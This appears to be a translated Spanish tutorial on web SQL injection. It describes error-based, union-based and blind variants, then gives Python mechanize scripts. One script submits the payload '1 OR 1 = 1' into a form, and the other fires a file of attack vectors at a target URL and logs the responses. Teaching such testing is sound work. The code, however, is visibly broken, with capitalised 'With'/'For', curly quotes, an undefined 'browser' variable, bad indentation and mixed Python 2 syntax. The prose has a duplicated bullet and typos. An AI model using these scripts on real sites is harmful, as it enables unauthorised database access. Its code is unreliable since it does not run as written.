Prueba de penetración de Python - SQLi Web Attack

La inyección SQL es un conjunto de comandos SQL que se colocan en una cadena de URL o en estructuras de datos para recuperar una respuesta que queremos de las bases de datos que están conectadas con las aplicaciones web. Este tipo de ataquesk generalmente tiene lugar en páginas web desarrolladas con PHP o ASP.NET.

Se puede realizar un ataque de inyección SQL con las siguientes intenciones:

  • Para modificar el contenido de las bases de datos

  • Para modificar el contenido de las bases de datos

  • Para realizar diferentes consultas que no están permitidas por la aplicación

Este tipo de ataque funciona cuando las aplicaciones no validan las entradas correctamente, antes de pasarlas a una declaración SQL. Las inyecciones normalmente se colocan en barras de direcciones, campos de búsqueda o campos de datos.

La forma más fácil de detectar si una aplicación web es vulnerable a un ataque de inyección SQL es utilizando el carácter "'" en una cadena y ver si obtiene algún error.

Tipos de ataque SQLi

En esta sección, aprenderemos sobre los diferentes tipos de ataque SQLi. El ataque se puede clasificar en los siguientes dos tipos:

  • Inyección SQL en banda (SQLi simple)

  • Inyección de SQL inferencial (SQLi ciego)

Inyección SQL en banda (SQLi simple)

Es la inyección SQL más común. Este tipo de inyección SQL ocurre principalmente cuando un atacante puede usar el mismo canal de comunicación para lanzar el ataque y reunir los resultados. Las inyecciones de SQL en banda se dividen en dos tipos:

  • Error-based SQL injection - Una técnica de inyección de SQL basada en errores se basa en un mensaje de error lanzado por el servidor de la base de datos para obtener información sobre la estructura de la base de datos.

  • Union-based SQL injection - Es otra técnica de inyección SQL en banda que aprovecha el operador UNION SQL para combinar los resultados de dos o más declaraciones SELECT en un solo resultado, que luego se devuelve como parte de la respuesta HTTP.

Inyección de SQL inferencial (SQLi ciego)

En este tipo de ataque de inyección SQL, el atacante no puede ver el resultado de un ataque en banda porque no se transfieren datos a través de la aplicación web. Esta es la razón por la que también se le llama Blind SQLi. Las inyecciones de SQL inferencial son además de dos tipos:

  • Boolean-based blind SQLi - Este tipo de técnica se basa en enviar una consulta SQL a la base de datos, lo que obliga a la aplicación a devolver un resultado diferente dependiendo de si la consulta devuelve un resultado VERDADERO o FALSO.

  • Time-based blind SQLi- Este tipo de técnica se basa en enviar una consulta SQL a la base de datos, lo que obliga a la base de datos a esperar un período de tiempo específico (en segundos) antes de responder. El tiempo de respuesta le indicará al atacante si el resultado de la consulta es VERDADERO o FALSO.

Ejemplo

Todos los tipos de SQLi se pueden implementar manipulando los datos de entrada a la aplicación. En los siguientes ejemplos, estamos escribiendo un script de Python para inyectar vectores de ataque a la aplicación y analizar la salida para verificar la posibilidad del ataque. Aquí, vamos a usar el módulo de Python llamadomechanize, que brinda la posibilidad de obtener formularios web en una página web y también facilita el envío de valores de entrada. También hemos utilizado este módulo para la validación del lado del cliente.

El siguiente script de Python ayuda a enviar formularios y analizar la respuesta usando mechanize -

En primer lugar, debemos importar el mechanize módulo.

import mechanize

Ahora, proporcione el nombre de la URL para obtener la respuesta después de enviar el formulario.

url = input("Enter the full url")

La siguiente línea de códigos abrirá la URL.

request = mechanize.Browser()
request.open(url)

Ahora, debemos seleccionar el formulario.

request.select_form(nr = 0)

Aquí, estableceremos el nombre de la columna 'id'.

request["id"] = "1 OR 1 = 1"

Ahora, debemos enviar el formulario.

response = request.submit()
content = response.read()
print content

El script anterior imprimirá la respuesta a la solicitud POST. Hemos enviado un vector de ataque para romper la consulta SQL e imprimir todos los datos de la tabla en lugar de una fila. Todos los vectores de ataque se guardarán en un archivo de texto, digamos vectores.txt. Ahora, la secuencia de comandos de Python que se proporciona a continuación obtendrá esos vectores de ataque del archivo y los enviará al servidor uno por uno. También guardará la salida en un archivo.

Para empezar, importemos el módulo de mecanizado.

import mechanize

Ahora, proporcione el nombre de la URL para obtener la respuesta después de enviar el formulario.

url = input("Enter the full url")
   attack_no = 1

Necesitamos leer los vectores de ataque del archivo.

With open (‘vectors.txt’) as v:

Ahora enviaremos una solicitud con cada vector de arrack

For line in v:
   browser.open(url)
   browser.select_form(nr = 0)
   browser[“id”] = line
   res = browser.submit()
content = res.read()

Ahora, la siguiente línea de código escribirá la respuesta en el archivo de salida.

output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)
output.write(content)
output.close()
print attack_no
attack_no += 1

Comprobando y analizando las respuestas, podemos identificar los posibles ataques. Por ejemplo, si proporciona la respuesta que incluye la oraciónYou have an error in your SQL syntax entonces significa que el formulario puede verse afectado por la inyección SQL.